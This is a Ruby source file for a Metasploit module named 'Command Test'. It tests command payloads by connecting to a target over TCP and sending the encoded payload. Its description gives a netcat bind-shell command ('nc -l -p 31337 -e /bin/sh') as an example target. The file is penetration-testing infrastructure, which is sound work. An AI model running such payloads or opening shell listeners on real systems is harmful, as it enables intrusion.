##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Command Test',
        'Description' => %q{
          This module tests cmd payloads by targeting (for example) a server
          like: nc -l -p 31337 -e /bin/sh
        },
        'Author'	=> 'egypt',
        'References' => [ ],
        'DefaultOptions' => {},
        'Payload' => {
        },
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Targets' => [
          [ 'Automatic Targeting', {} ],
        ],
        'DefaultTarget' => 0
      )
    )

    register_options(
      [
        Opt::RPORT(31337),
      ], self.class
    )
  end

  def autofilter
    false
  end

  def exploit
    connect

    sock.put(payload.encoded + "\n")

    handler
  end

end
